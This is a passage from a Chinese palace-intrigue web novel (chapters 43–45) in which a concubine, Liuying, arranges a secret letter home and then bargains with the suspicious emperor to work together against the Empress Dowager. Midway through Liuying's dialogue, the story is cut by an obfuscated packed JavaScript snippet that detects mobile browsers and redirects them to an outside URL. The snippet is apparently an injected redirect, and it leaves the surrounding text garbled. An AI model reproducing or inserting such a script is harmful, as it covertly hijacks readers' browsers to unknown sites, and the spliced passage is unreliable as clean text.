“芷柔,如今咱们俩也算金兰之交了,有些苦我唯有与你才能诉诉心肠。” “我娘是个良善温婉的女人,上敬公婆,下慈儿女。所有人都喜欢她,唯独爹爹总是背过人去打骂她。只因府中有一得宠小妾患病死了,爹爹就将全部过错堆到娘身上,说娘没有容人之量,逼死了小妾。” “从前我在家中时还能宽慰宽慰娘亲,如今我不在,真不知道谁还能陪娘说说话……”流萤泪珠翻涌,一股股涌出,留下深深两道泪痕。 她说思念是真,说娘亲不易也是真,但组合在贺之遥身上,却是没有一句真话。 听说贺元易两夫妻恩爱不疑,就算贺夫人膝下只有一女,也丝毫不影响其当家主母的威仪地位。家中两个庶子也早已去母留子,只能喊贺夫人一人为母亲。 “我知此事难办,不求亲笔,也不必署名,只拜托顾大人代写几个字传回我奶娘家就好。可以伪装成小厮或丫鬟寄信回家的那种,奶娘看我长大,也知娘亲处境,必不会乱说话。” 流萤说着最稳妥的方法,显然是斟酌了很久才来求她。 汪芷柔听得难受,心疼的水汽也蓄在了眼底。她自小便看着父母两人相敬如宾,对她更是百般疼爱,根本不敢想象流萤以往过得都是什么心酸日子。 而且流萤想的办法也确有可行之处。虽说大户府上多是几代家生的下人做好活儿,但等升到管事之类的位置了,便也经常有外地穷苦亲戚投奔,混口饭吃。是以领了月钱再往老家寄的,也不算少数。 况且既不是亲笔信,还不往她家中寄,任谁能往流萤身上安? 遂思虑再三,咬咬牙应下,“我愿意帮你试一试,但顾大人能不能答应,我不敢保证。” 这是自然。上一次是汪芷柔有难,顾廷风出手无可厚非。这次却是跟他八杆子打不到的人求助,能不能成,完全要看他对汪芷柔的心意究竟如何。 但流萤还是如释重负一般连连点头,感激之情溢于言表。她抽开身去书案旁画下一只带翅膀的小虫子。 可能是激动,可能是紧张,总之她握笔的手,都是抖的。递给汪芷柔看,说出最后一个请求。“这是知了,如果顾大人愿意帮忙,就请他写下安好勿念后,再画一只知了上去。” 知道汪芷柔不解,流萤继续解释道,“不怕你笑话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339288|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我小时候吐字不清,总是念不准自己的名字,没少被爹爹责骂。” 贺之遥,之遥……知了…… 汪芷柔在心里默念两遍,本是紧张忧虑的气氛,瞬间破功。真瞧不出她也有如此有趣的事儿。 流萤见她笑了,自己也跟着赧然抿唇道,“画个大概就行,娘亲能明白的。” 殊不知,她画的其实是萤火虫,是她还不会写字时,给闻景画过的萤火虫。一定能认出是她。 眼见二人间的气氛逐渐恢复往常,流萤撕了画,提醒起细枝末节来,“对了芷柔,这件事你拜托顾大人就可以了,不要让伯父参与进来。” “这件事最不好的打算就是掉脑袋。你好心帮我,我绝不能连累你或是你的家人。倘若不幸在顾大人手下东窗事发,我只会说是关采曼那件事之后,自己偷偷联系上了他,用名誉威胁他帮我送信出去。根本没有你从中搭线,你也千万别来蹚浑水,记住了吗?” “啊?那我不是就把顾廷风给卖了吗?” 汪芷柔纠结拧眉,觉得不妥。流萤却注视着她的眼睛,认真问道,“他?还是伯父?总得选一个吧。” 此话问完,汪芷柔登时陷入沉默,本是因裹着泪花而亮晶晶的眸子,渐渐也黯淡下去。 是啊,总要推出个宫外的人,流萤自己可没法子伸手那么远。而若说是父亲帮忙,自己也脱不了干系。可是顾廷风…… 流萤将汪芷柔左右为难的神情一帧不错看在眼里,终是试探到了汪芷柔对顾廷风的情谊之深,试探到了她的软肋。只待找机会再试探顾廷风一二,便可知他到底能不能也为了汪芷柔而为自己所用了。 遂一改愁容,轻勾起梨涡哄道,“好了,不逗你了。你只管放心,只要事情不是从顾大人那边暴露的,我绝不提他一个字,一定独自承担!” 汪芷柔忙摆手,脸蛋涨得通红,知道方才的迟疑已经全然道出了自己不可见人的心意。她是皇帝的妃子,心里却装着别的男人。 虽说之前也被流萤打趣过,但刚刚她是真的觉得抉择两难。还以为自己进了宫就能放下所有,没想到竟全是自己骗自己罢了。 一时间,脑海里飞速闪过顾廷风借住府中的点点画面,有绦柳下他温润宠溺的浅笑,也有白雪下见他靠近时的心动一刹…… 汪芷柔深吸一口气,似是下了很大决心,再抬眼格外坚定。 “我帮你,就找他。” 汪芷柔想,流萤那么聪明,一定早就猜到了自己的心意,不然也不会这样逗她。但她丝毫不担心流萤会出卖自己。 不仅是共同经历过生死关头的信任,更是因为今日的寄家书一事,让彼此之间有了更深的联系与羁绊。汪芷柔知道,流萤既然能打趣她,就也一定能保护她。 汪芷柔舍不得心头这份难以启齿的情感,但她也十分清楚,已然身在后宫,绝不能做错事,更不能连累他们。所以,她反倒希望流萤能在看穿自己后,再看住自己,不要做出悔恨终生的事儿。 流萤对她突如其来的坚定转变感到诧异。她为何要对自己这么坦然?尤其看是那双单纯到骗不了一点人的眼睛,她真就这么信任自己吗?还是算准了各有所需,彼此才会守口如瓶? 但无论如何,这样的结果都对流萤更有利。 汪芷柔有多想见一次顾廷风,自己就能多借她传递一次消息。 遂立即将那些原本准备道歉哄她不是故意捉弄的话尽数收了回去,只握住汪芷柔的手,回以笃定和信任,郑重道一句,“多谢!” 还一句话流萤没说,那就是她真的有一人揽下所有过错的担当,绝不会连累汪芷柔或是其他任何人。但看眼里另有心事的汪芷柔,流萤知道此刻说了,有些人也不会往心里去了。 便转身哑然笑笑,捡起滚落一地的梅子,招呼她一起拿出去重新洗洗。 不想才倒好一大盆清水,外头小金子竟过来传,内侍监来人了。 这才过了一天,贤妃就这么迫不及待吗? 流萤擦干手起身,往正厅方向相迎,边走边低声询问小金子,“看见送来的是个什么人了吗?” 她想着提前了解一下对方年纪大小或者官职高低,也好知道给个什么样的下马威合适。 小金子闻言稍有愣神,但很快明白过来回答道,“不是贤妃,是皇上。皇上召您晚上去甘泉殿侍寝。” 43. 醋意横生 甘泉殿里温泉氤氲,热气腾腾,裹着暖黄的宫灯,朦胧得像个火炉。 流萤闭着眼享受温泉涌上的暖意,一浪一浪,宛如天神温暖的怀抱。玉指轻拨池水,露出如羊脂白玉般盈润肌肤,细腻得仿佛能透出光来。 流萤琢磨着,日后离了宫,也要寻个依山傍水的灵气之地,挖一天然温泉出来。一边赏景,一边泡澡,岂不比现在更舒服? 如是想想,便觉得这趟宫还真是不白进。若没见过这些世面,她能想到最好的生活,也不过鱼肉管饱、金银不愁,哪里谈得上什么精神境界。 于是当闻寻悄然走进时,就看见流萤窃喜自得的眉眼在袅袅雾气中若隐若现。 再凑近些,那双灵动的眼睛又轻闭起来,只剩无数细碎的水光在她脸上不安分地跳跃,娇俏又诱人。就像一颗刚刚洗好的仙桃儿,上头挂着的每一滴水珠都似留恋,亲吻着她的肌肤久久不肯退散。 流萤如墨长发也在水中散开,发丝随涌动的水波轻轻荡漾,泛起细小的涟漪,悄悄地,也晕开在闻寻心上。 许是二人从前一直针尖对麦芒,实未见过她如此放松自在的模样,闻寻破天荒地没有打扰,就那么好整以暇静静看着。直到池中人儿泡够了伸手说“扶我起来吧”,他才俯身蹲下,忽而起了捉弄心思。 闻寻没有作声,只是极轻地将脸凑到流萤背后,想等她转身,再吓她个半死。谁叫流萤平日总是跟自己拗劲儿,今儿倒要看看她害怕起来是什么个好笑样子。 他本是屏着呼吸,不想让流萤发现。却又好似因为即将得逞的捉弄而感到兴奋,心跳咚咚加快,连带着鼻翼也不受控地翕动了两下,竟意外惹得那股熟悉而辛烈的玫瑰花瓣碾碎进身体的香气钻了鼻腔,和初次见她时一样。 闻寻心跳更快了。 而流萤久久没有得到回应,以为是自己声音太小,被她支去外头等候的宫女没听到,便也没当回事,准备自己起来去穿衣裳。反正也不是第一次来,衣裳放在哪里她都知道,正好还能挑个别那么露骨的样式。 不想这一回身,竟猝不及防与蹲在池边的闻寻来了个四目相对,一览无遗! 流萤赤身烫红,唯有簌簌滚下的水珠,凑成网而不见的罗衫。勉强遮住了这一寸春光,就万挡不住那一处风情。 腰盈如柳,玉臀纤纤。 流萤起身带起的水花甩在闻寻脸上,让他本能向后躲去,正好唤醒了他微微僵滞的身子。 单指拭掉眼尾水珠,闻寻很快恢复了不羁神色,依旧没忘想要捉弄流萤的心思。 他不经意勾唇敛起坏笑,大大方方欣赏眼前美色,露出一副果然如此的神情,实在叫人赧然。 偏那上下游走的目光却愉悦乍亮,并不带一丝猥琐,仿佛只是在寻找,若以她这具身体入画,该从何处下笔,才能将其美妙全部跃然纸上。 流萤被眼前突然出现的人影吓得心跳骤停,下意识去抚心口,才反应过来自己刚从池子里起身还不着寸缕,忙双臂环抱抵在胸前。 可是手臂带起的水墙只存在一瞬,轰然倒塌后,又只剩下“赤诚相见”。 流萤本想横眉冷对叫闻寻出去,但一想到二人皇帝与妃子的实质关系,话到嘴边还是咽了回去。只唰地一下又坐回池中,拢了拢周围的花瓣聚到自己胸前。 虽说早已与闻寻有了夫妻之实,但从前在积元寺发生过的那些黑暗记忆,还是会第一时间充斥上流萤的大脑,驱使她本能地做出自卫反应。 “这里水汽大、地面滑,皇上还是到寝殿等吧,嫔妾收拾好了就来。” 流萤说得谨慎,连眼睛都一眨不眨。闻寻却并不买账,不仅没有离开,反而踩着地面的水渍,又逼近她一步。 也不顾浴汤打湿衣袖,伸手就往水里去。抓一把刚被她聚好的花瓣,轻轻一弹,就散到流萤脸上,而后片叶不沾落下,最终躺满流萤颤动的颈窝。 白肤红玫,煞是好看。再配上流萤愠怒不屈的俏脸儿,简直鲜活得不成样子。 闻寻觉得有趣极了,还想伸手去抓她颈窝上的花瓣再逗弄她一次。却被羞恼的流萤先一步抢过,扬手一扔,连花带水,反砸了他一脸。 闻寻失神,却并没有生气。 甚至觉得流萤就应该这样。 易怒、发狠,不会谄媚、也不会服软,这才是她最真实的样子。也是他最想看到的样子。 奇怪,明明第一次见的时候就知道她是这种人了,怎么当时厌弃得要死,现在却能接受了呢? 该不会是…… 闻寻突然被自己的想法吓住,狠狠蹙眉摇了摇头。 不可能的。 找她当自己手中的刀都是赏脸了,怎么可能还喜欢?呵,一定是叫蒸汽热懵了。 于是蹭一下起身,清清嗓催促她也赶紧出来,还有正事相谈。他是真的好奇,江绮玉的那只手镯到底弄哪儿去了。 回忆那日晌午,流萤兴致冲冲来找他,开门见山便说给自己准备了件礼物。但要先借一个力气大的人去取,说那礼物有些份量,一般人抬不动。 闻寻那会儿刚大费周章打听来一些贵妃说的往事,正气怒着,本是不想搭理流萤。但看她满脸志在必得,甚至有些邀功意味,便突然想起了她上次误食了江绮玉留下的醉香欢,而后还要了一对一模一样镯子的事儿。 虽然当时谁也没说出实情,但彼此都心照不宣,那对镯子就是给江绮玉下的套。这会儿流萤又说要送自己礼物,难道是江绮玉那边成了? 这么快吗? 疑惑和期待,渐渐替代了闻寻心中的躁怒,他思索片刻,还是喊了程兆过来。知道一个秘密是死,两个也是死,再没有比他更合适的人选。 于是到了晚间,程兆跟宝珠两人相伴去银汉宫取东西的“私会”画面,便一帧不落地叫江绮玉等人瞧了去,从而引出了后面江绮玉与小盛子相撞的事儿…… 最后结果无疑是解气的。尤其是在闻寻知道了当年真相后,更是可惜江绮玉怎么没有直接小产。不过这次保住了也无妨,他后面还有更多的法子折磨她、折磨太后。 但流萤做局好像并非是为了让江绮玉小产。看她当时满眼的诧异,甚至略带后悔的神情,她可能都不知道江绮玉有孕了。 那为什么还说是送给自己的礼物呢?单单除掉一个像关采曼这样的蛀虫,可并不会让他多兴奋。 他要听听流萤的解释,好决定下一个任务还能不能给她。 …… 随着关门声响起,流萤滞在胸间的那口气才算是长久呼了出来。 她本是想好,既然闻寻也想让她当这个宠妃,那她就一做到底。 不仅仅是在外人面前,即便只对着闻寻,最好也是宠妃该怎么对皇上恭维献媚,她便也怎么对皇上。闻寻高兴了,给的赏赐必不能少,自己离宫的日子也就更近一步。 虽说她不是什么妩媚性子,但身形脸蛋样样不差,而且还有一些宋婆子的言传身教,拿捏一个闻寻,不是绰绰有余吗?流萤很自信。 可真到了实处,一见闻寻先她一步摆出那副轻浮不恭、懒散浪荡的面孔,流萤心里就蓦地升起厌烦。 仿佛眼前人根本不是什么九五之尊,反之就是一个只会寻女人取乐的登徒纨绔。让她瞧不起得很。 流萤生闷气狠拍了下水花,没想到,要当个以色侍人、献媚忘我的美妾居然这么难! 那好,所幸就不当了。反正从前也觉得闻寻颇像积元寺后门偷偷喂过的那条傲娇小黑狗,莫不如就把那些训狗手段也用到他身上。找几根带肉的骨头,一定比伺候人简单得多。 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任由宫女替她描好眉、点好唇,再换上她一早便选中的那套杏子黄交领衣裙。想着等会儿闻寻能跟自己说什么正事?会是跟她复盘整件事的始末吗?还是有新的事儿要找她去做? 可她低估了浴室里雾气未散的闷热,还没等出门呢,严实领口下已经捂出一层细密的汗。稍微动动脖子,都能沾上衣领,蹭得人难受,思路也快热成了浆糊。 末了,流萤还是脱下,换了一条浅兰色的抹胸襦裙。脖子周围空无一物,终于是恢复了清爽。随手披一外搭,就往寝室去了,准备见招拆招。 推了门,看见闻寻懒散靠在软榻上,斜襟领口微敞着,腰间吊绳也系得松散,感觉稍稍一扯就能断。等走近了才发现他已轻轻闭眼,像是等太久睡着了。 见此,流萤不禁窃喜亮了亮眼睛,轻手轻脚,准备绕过他独自去床榻上睡觉。正好此刻她也有点晕乎乎的,不宜说正事儿。 只等闻寻睡醒了也完全来得及,何必现在打扰?省得他醒了,自己反倒睡不安生了。 不料衣料才刚蹭过软榻,一只强劲如万年老藤的手臂便猛然拉住了她,然后结结实实带她栽进了身后冰凉而坚硬的胸膛上。 流萤被突如其来的禁锢弄得没法回头,纳闷好端端的他又发什么疯,刚刚就在背后突然吓自己,现在又来搞假寐这一套? 身上束缚越来越紧,流萤也因急促呼吸变得烦躁起来,刚想叫闻寻先放开,就听头顶传来一阵低沉暗流。 “为什么不愿与我亲近?” 闻寻的声音阴郁压抑,可听在流萤耳中却轰隆一声如同夏日里骤然降至的暴雨雷鸣,能将天地都撕开一道裂缝,震得她心头一颤。 他在说什么?! 是啊,我在说什么?! 不止流萤挣扎的动作戛然而止,闻寻也回过神来紧抿着唇角,线条绷得笔直,像是话一出口就后悔了。 只剩双手不自觉紧攥握成了拳,泛白指节像是在用力遮掩,又像是在为自己壮胆。 再次扫过怀中僵滞的流萤,带着几分幽怨,几分不甘。尤其是没听到流萤的立即反驳,那不就等于亲口承认了吗?闻寻顿时感到自尊心受挫,心头赌气更甚。 像一头莫名被遗弃的小狼,炯炯眼神正极力藏下受伤的脆弱,只肯露出不屈的傲气示人。 奈何流萤还是默不作声。 她真就这么不想碰自己?! 一瞬间,流萤猜数侍寝时的故意猜错,以及误食醉香欢被迫和自己行了那事后冷若冰霜的画面,争先恐后冲出脑海。 气得他心头那股才将将被理智压下的倔强怒火,再次一涌而上。奋力扳过流萤,火光汹汹,似是孤注一掷问道,“还是你心里有别人?” 44. 乱了心意 如果说上一个问题问完,闻寻还只是觉得有些尴尬的话,那么这个问题问完,他就是确确实实后悔了。 今日叫流萤来,本只是想试探试探她与闻景到底有没有关系? 因为江绮玉这件事,无论流萤最初的目标是什么,结果都是令闻寻满意的。 不仅让贤妃折了翼,还让他看到了流萤做局的能力。是以闻寻若想找一个能帮他彻底对付了太后的人,第一个自然还是会想到流萤。 但前提是,要确保流萤是干干净净、可以和自己一条心之人。 太后纵然是必除的杀母仇人,闻景也绝不是什么能得他原谅的好东西。他可不想养虎为患,等扳倒了太后却又给别人做了嫁衣。 可是,当流萤面对自己质问惊恐得不知所措、像是被完全说中晦暗心思之时,他也不知为何没能控制住心头躁动的怒火,偏就像痴男怨女犯了傻才会有的醋意爆发一般,将两件事混为一谈。甚至脱口而出。这简直让他恨不得立刻给自己两拳。 流萤也渐渐从震惊中回过神来。虽然不明白闻寻何出此言,甚至都不知道闻寻究竟在说什么。但可以肯定的是,那绝不会是什么醋意满满、情意深深的鬼话。 闻寻对自己可没有那样的心思。 说好听些,是面儿上给她宠妃身份、与她达成合作好办事。而说实在的,就是闻寻本身也烦她。事成了可喜可贺,不成就无情翻脸,他总也不损失什么。 这点,流萤还是很有自知之明的,并不会被假象迷住。 于是她绞尽脑汁,能想到与“别人”二字挂钩的,就唯有伪造“私会纸条”那件事。 流萤想,一定是江绮玉后来又偷偷跟闻寻告了密,他才这样怀疑自己。 有了些眉目,流萤便舔舔唇尽量让自己镇定下来。换上细弱嗓音,还故意带了点儿幽怨,佯装打趣抬眸,“皇上明知那是计,怎么还听江美人乱嚼舌根、跟着诋毁嫔妾?” 流萤从闻寻稍有松动的怀中挣开,坐正了身子直视他,好言解释起自己是怎么用那张纸条引江绮玉上钩的。 她以为,这就是闻寻在浴室里所言的正事儿上。 可闻寻却是完全没料到她会驴唇不对马嘴说这些。只顾着看她小嘴吧嗒吧嗒,闻寻愣是一个字儿没听进去。 终于等她停下来了,闻寻才一扭脸没好气接道,“怪就怪你不提前告诉我,被怀疑也是你活该!” 闻寻也知自己方才问得太过冲动、问得稀烂,本还不知如何收场,正巧听流萤说到纸条的事儿,便顺势将此前就有的疑惑一并问了出来,企图掩饰尴尬。 “那你到底是怎么销毁江绮玉手镯的?送她回去的时候我翻过,可是一点没看见。” 隔着远远几个宫,她都能神不知鬼不觉让手镯消失,若非神明显灵,必定就少不了有人暗中帮忙。 这也是闻寻再次怀疑流萤背后有人的原因。 闻寻实在想不到,一个初入皇宫、谁也不认识的小才人,凭何本事能买通到人为她卖命。最有可能的,还是有人提前在宫中为她铺了路。 那么这个人就必不可能是与流萤同身份、同目标的宫妃,毕竟没人会愿意白给他人做嫁衣。 是以无论闻寻怎么想,都觉得还是不甘被夺皇位、妄想卷土重来的闻景可能性最大。他被赶去渭州五年,自然有很多机会早与必将进宫为妃的流萤相遇相识、早作部署。 就像当初太后也提醒过他的,不可以对陇西来的任何一个人掉以轻心。所以事情办得越顺利,就越是让人觉得可疑。 且闻景最会装得谦谦倜傥,哪次宫宴不是引得一众女眷倾心侧目。他若想拿下一个没见过什么世面的小女子,只怕勾勾手,魂儿都叫他牵着走。 想到这儿,闻寻不免又狠狠睨了流萤一眼,希望她别是只跟自己装腔作势才好。 流萤却没有留意到闻寻眼中小九九的变化,依旧自顾自解释着,“原来皇上也没看见呐。那日江绮玉就是戴着那个翡翠镯来的,这样送上门的机会,嫔妾自然是趁她昏迷被抬进偏殿的间隙,偷偷摘下来了呀。” 她当然不会说贺九仪一个字,那可是她最要紧的保命技之一。 闻寻拧眉将信将疑,他极力回忆,可惜江绮玉从来都不在他的视线范围之内,想了半晌也是白想,还不如流萤头顶的蝴蝶绒花一跳一跳来得深刻。 只好继续问道,“那你原本的计划是什么?她戴去了那个手镯应该只是碰巧吧。” 流萤狡黠一笑,“她不戴效果才好呢!” “江绮玉那一惊一乍的性子,皇上也不是不知道。要是突然看见自己的东西竟在关采曼宫中被搜出,她根本不会考虑别的,只会一口咬定那就是她的,是关采曼偷了她的。” “再加之嫔妾早就听说她们二人貌合神离,一个嫉妒无脑得宠,一个嫌弃空摆架子。如今,关采曼偷盗事发在前,又牵连到江绮玉自己身上,她不炸了才怪!必定大闹特闹,跟关采曼撕破脸。” 这话没错,江绮玉那个蠢蛋的确没有冷静思考的能力,见风就是雨,哪里能想到一样的镯子还会有第二个。 当然她也没有兼顾大局的能力。她不懂得与关采曼闹掰,其实就是给贤妃难堪。仗着有太后撑腰自是也全然不在乎,只知道凡危害到她的,都得赶尽杀绝,才能出了那口恶气。 这样一来,贤妃便会对江绮玉大失所望,甚至心怀有恨。 一个是只有一张脸、早晚要去母留子的狐媚子。一个却是呼之即来、还能替她挡下众妃嫔恶毒抱怨的钱袋子。 傻子都知道该偏袒谁。 其实关采曼能留在贤妃身边,不光是其父在吏部有些作为,也少不了真金白银往堆上来。别人可能还不知道贤妃私底下的一些小动作,闻寻却是亲眼见过。 可以这么说,关采曼偷盗这件事如果不是“碰巧”叫江绮玉给撞上,还被闹得人尽皆知,贤妃权衡利弊后一定会对其从轻发落。 虽然生气被蒙在鼓起是跑不了的,但借此宽恕能让关采曼更加死心塌地给自己当牛做马,对贤妃来说,却也是值得的。 这么想想,还真算配得上是送给自己的礼物。 只是……如果流萤原本的目的真是这样,那她对自己的了解是不是就太多了?她怎么就认定自己会乐于见到贤妃一伙窝里斗呢? 他可不信流萤真那么有本事,入宫仅仅两个月,就能只凭自己的玲珑心思发现他埋藏在心底多年的秘密? 是谁告诉了她这些? 谁又对这些隐情了如指掌? 闻寻微不可见抿了抿唇,揪拧的眉也丝毫不得放松。像是已经认定了流萤与闻景之间有逃不掉的联系。 从前不知母妃被害真相,闻寻无谓当太后掌控下的行尸傀儡,反正他的人生早已是无边黑暗,再多些荒唐又何妨? 可如今心中有了必报的仇恨,有了死也要一起拽下地狱之人,他的每一步选择都得加倍谨慎。 流萤被闻寻突然黯下的阴冷目光盯得有些发毛。自己回答的有哪里不对吗?怎么觉得他眼中的怀疑不减反增呢? 流萤渐渐收了上翘的唇角,低头摆弄起袖子,却依旧觉得双手无处安放,便起身想要去茶几上拿杯茶压一压。 未料她刚走下脚踏,后头闻寻凉薄发寒的声音就如冬月冰柱般将她冰封定住。 “你可见过越郡王?” 闻寻声音轻飘,好似问得不痛不痒,可落入流萤耳中却早已石破天惊。 越郡王,就是闻景! 他居然问自己认不认识闻景? 他怎会把自己与闻景联系到一块儿?! 流萤咚咚猛跳的心,都快要从震惊到难以合上的嘴巴里蹦出来,幸好是背对着闻景,还有让她眨眼喘气、压下心头惊涛骇浪的机会。 强稳住了身形,继续往茶几靠,想给自己多争取一些思考的时间。 可是思绪纷杂似蛛网,难以理出头绪。流萤唯有快速将今晚闻寻与自己说的过每一句话都过一遍,希望能从中找出关联。他绝不可能是突发奇想,就问出这么个八杆子打不到的问题。 说到八杆子打不到的问题……不相干的人……旁人…… 流萤突然想起刚进寝殿时,闻寻曾问过自己为何不主动委身与他、是否心里有别人。 难道……难道他所谓的别人……其实是指闻景?! 那为什么还要应承听自己解释私会纸条一事呢? 如果闻寻一开始就是想知道这个事儿,那他又在迟疑 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闻寻接过茶盏没喝,只推指转了半圈,并不打算轻易放过她。 “离家那日越郡王也来送行。王爷恭喜父亲家有俊女,也嘱咐嫔妾入宫后要谨言慎行,安守本分,莫要让父母担心。” 流萤低垂着眼眸,说得平静又乖顺。她原以为回答得落落大方就能展示出自己的问心无愧,不想落入闻寻眼中,却仿佛是忆起心上人时才会有的眼含春水、柔情似柳。 莫名看得他心头冷焰更胜,忍不住扬手一泼,滚烫茶水霎时洒了流萤满身。 浓浓的茶渍很快浸透衣裳,染在团簇上像极了大片落败的菊花,狼狈又难看。 流萤固然气闷,但也明白好汉不吃眼前亏的道理,没空与其计较。 只思忖着那两次与闻景同框皆是大庭广众之下,许多人都能见证。明明她说的都是实话,闻寻为何仍不买账,难道是闻寻还探听到了别的消息? 且看他怒急的模样,千万别是自己的假身份暴露了才好,她可不想死在这儿。于是腾地起身,顾不得身上被烫得火烧,直接屈膝跪在了脚踏上。 “皇上,越郡王的确到府中做过客,却从来只在书房与父亲下棋为乐。嫔妾虽是性子顽劣了些,但也懂得避男避嫌的闺秀之礼。不知皇上为何要一直问嫔妾与越郡王是否有过节?莫不是听到了什么离谱传言?若是的话,您只管明着问,嫔妾一定如实相告。” 流萤想借方才说的私会纸条一事还没完全过劲儿,将自己与闻景的关系也往模棱两可的男女私情上引,试图混淆视听。 反正只要不是假身份被拆穿,一切就都有的圆。 她亮着眸子定定直视闻寻,不肯错过闻寻脸上任何细微的变化,实则手心里已全是冷汗。 终于见他眼底寒意渐渐褪去,流萤紧绷的情绪才得以有所缓解,静静等待闻寻下一句问话。 还以为是她不遮不掩的正直态度让闻寻放下心来。殊不知,闻寻只是在听到避男避嫌几个字时略感满意,而下一秒又猛然惊醒。 他为什么会突然生出一种“算你识趣”的诡异反应? 又为什么要在乎流萤与闻景究竟是怎么个接触法儿? 不是应该只要知道俩人到底有没有来往不就够了吗? 一连串的反问,突然像无数根离了弦的箭,齐刷刷穿透闻寻胸膛,最后连心带人一起钉在靶子上,不得动弹。 闻寻下意识攥了攥拳,竟发现连掌心里都是咚咚不停的震动。 扭头再看地上正仰着脸儿直勾勾盯着自己的流萤,那咚咚声居然更猛烈。闻寻立即狠拍下大腿,想要震住它。 真是的,心慌什么! 可他啪的这一下太过突然,流萤明显也吓了一跳,当即换了狐疑眼神看自己。 霎那间,闻寻只觉得从未如此如坐针毡,明明对她的戒备还没放下,却先被自己乱七八糟的思绪崩盘了全部计划。 没法再冷静与其绕弯子,只好幽怨又愤恨地狠狠剜了流萤一眼,直截了当道出自己真正想问的话。 “我不信江绮玉这件事从头至尾都是你一人布局,你只告诉我,越郡王到底有没有施以援手?” 45. 坦诚相见 听闻寻这般单刀直入,像是已经认定此事,不得到准信儿,绝不善罢甘休。 流萤没有立刻回话,而是缓缓放弯了背脊,双手杵在腿上。低头屏息,不承认也不反驳,平静里透出诡异。 闻寻盯着她一动不动,唯有搭在桌边的手暗暗发力,攥得手背骨节凸起泛白。 明明看她这个模样心中已然有了答案,却也不为何,嘴巴偏像是被浆糊封住,愣是一个惩治处死的字儿都说不出,仍鬼使神差地还想再给她一个辩解的机会。 仿佛非得听到她亲口承认,才算作数。 二人就这么僵持着,直到手边茶盏凉透,闻寻的耐性也终是消耗殆尽。 渐渐杀心暗起,既然不能为我所用,那就…… “所以皇上您是早就有所怀疑,才选中嫔妾来利用的吗?成了,便一石二鸟,既能解决江绮玉这个心头之患,又能抓住嫔妾身上的漏洞。不成,就让嫔妾在争斗中死去,反正在您眼里我必不可能是无辜的。对吗?” 闻寻下了狠心的话刚要说出口,却被流萤突然冒出的质问打断了。他下意识想要反驳,可流萤说的又不完全是错的,于是空张了张嘴,最后还是抿了回去。 “还有,一入宫就独独把嫔妾扔到闹鬼的银汉宫,也是因为嫔妾从越郡王封地来,而您早有芥蒂才给那样的下马威提醒嫔妾的吧?” “虽不知您与越郡王发生过什么嫌隙,但嫔妾可以明明白白告诉您,嫔妾与越郡王不过两面之缘,匆匆见、匆匆别,根本都不记得他长什么样,更别说还能靠上他什么。” 流萤越说越快,语气也是越来越坚实有力。 “既然话已至此,嫔妾不妨剖开心窝子给您看。嫔妾自小就不爱看女则女训那些条条框框束缚人的东西,只知道凡是我想要的、就必须得到。” “嫔妾有幸进宫,见识到了从前想都不敢想的富贵荣华,自然不会甘心这辈子只做个才人了事。但宫中美人如云,无论才艺性情,嫔妾都没有可与之相比的本事,唯有用些偏门手段,来博您另眼相看。” 流萤小手慢慢贴上闻寻的裤脚向上轻拽,像是心意太沉,必须得找个支撑。可那双眼睛却越来逼人、越来越危险,凝视着闻寻伺机而动,仿佛下一次眨眼,就能将猎物整个吞入口中。 “其实打开最后一道天窗,您就是不信嫔妾凭何能轻易就做您肚子里的蛔虫,没错吧?” “但说句大逆不道的,如果我是您,根本不会顾及皇后年纪是否尚小、身子遭不遭得住,只会遵照太后的心意把事儿办了,好满足她长久以来的期盼。而皇后如果不幸落下残疾,那才是对太后最好的报复!谁叫她只把我当做工具,一点面子都不给呢。呵,九岁就给封凤位,那不如直接把江山也改姓好了。” 流萤身上散发出来的睥睨狠辣叫人咂舌,直比战场上杀伐果断的大将军也一点不虚。 她就是明明白白的在告诉闻寻:你那点小心思根本无需任何人告密,我眼尖聪明,一看便知。 如今摆在你面前的只有两条路,一是咱们坦诚相见,你许我富贵路,我为你清障碍。二则是你现在就杀了已然窥探一切的我,以防秘密泄露,但却失去了最能替你扳倒太后的得力助手,翻身掌权可能永远就只是个梦了。 胆子越大,希望越大。试问宫中谁还能像流萤这般斩钉截铁,把自己的欲望和价值都摊在明面上,只等闻寻来做选择。 这招釜底抽薪,确实激进又漂亮。 闻寻本是垂在桌边的手,早已在不知不觉中死死把住了桌角,而且越收越紧,好像只有这样才能掩盖住听她说那些直言不讳、离经叛道的话时心中的震撼与惊异。 句句杀头,却也句句让他听得兴奋。仿佛已经看到了太后千算万算,最后却百密一疏、统统成空的精彩画面。 茶杯与盏托因桌子的震动而碰撞出声,闻寻必须得承认,流萤是真能走进他心的。 她太聪明了,心又足够狠。不正是自己最需要的吗? 至于闻景…… 闻景若想重坐皇位,必然会交代流萤把自己杀了。那么,只要她不对自己下手,就不可能是闻景的人。 或许是流萤描述的画面太美好,又或许是闻寻真的迫不及待了,他只想看太后死得越惨越好。 总之,他没再提闻景一个字,仿佛从未问过一样。 只克制住另一只手的颤栗,食指挑起流萤下巴,毒蛇吐信一样说道,“那就别让江绮玉的孩子生下来,你能做到吗?” “再过一个多月就是除夕,嫔妾也不想当才人了,皇上能实现吗?” 流萤轻轻攥住闻寻的指头,唇边慢慢爬上笑意。 她接下了任务,也提出了要求,从这一刻起,她与闻寻之间就是货真价实的合作关系了。双重间谍、双重奖赏,流萤光是想想,都等不及要大展拳脚。 心间澎湃一直持续到夜深都没有退散。流萤明明已经困得脑袋昏昏,却仍心跳很快睡不着。好不容易一阵过堂凉风吹过,她忙把手探出帷幔,冰冰凉凉的,才觉得舒服。 终于迷迷糊糊好像睡着,可身子却不安分,翻来翻去,最后还踢起了被子。 一只脚肆意勾在闻寻腿上,仅管隔着被子,闻寻依旧能感觉到她是火烫烫的。 他想抽出腿,流萤却一个直接翻身转了过来。脚也抬得更高,蹭着凉滑的被料像是舒服极了,时不时还闷哼出声。 就在闻寻耳边,清晰到能分出每个音调。 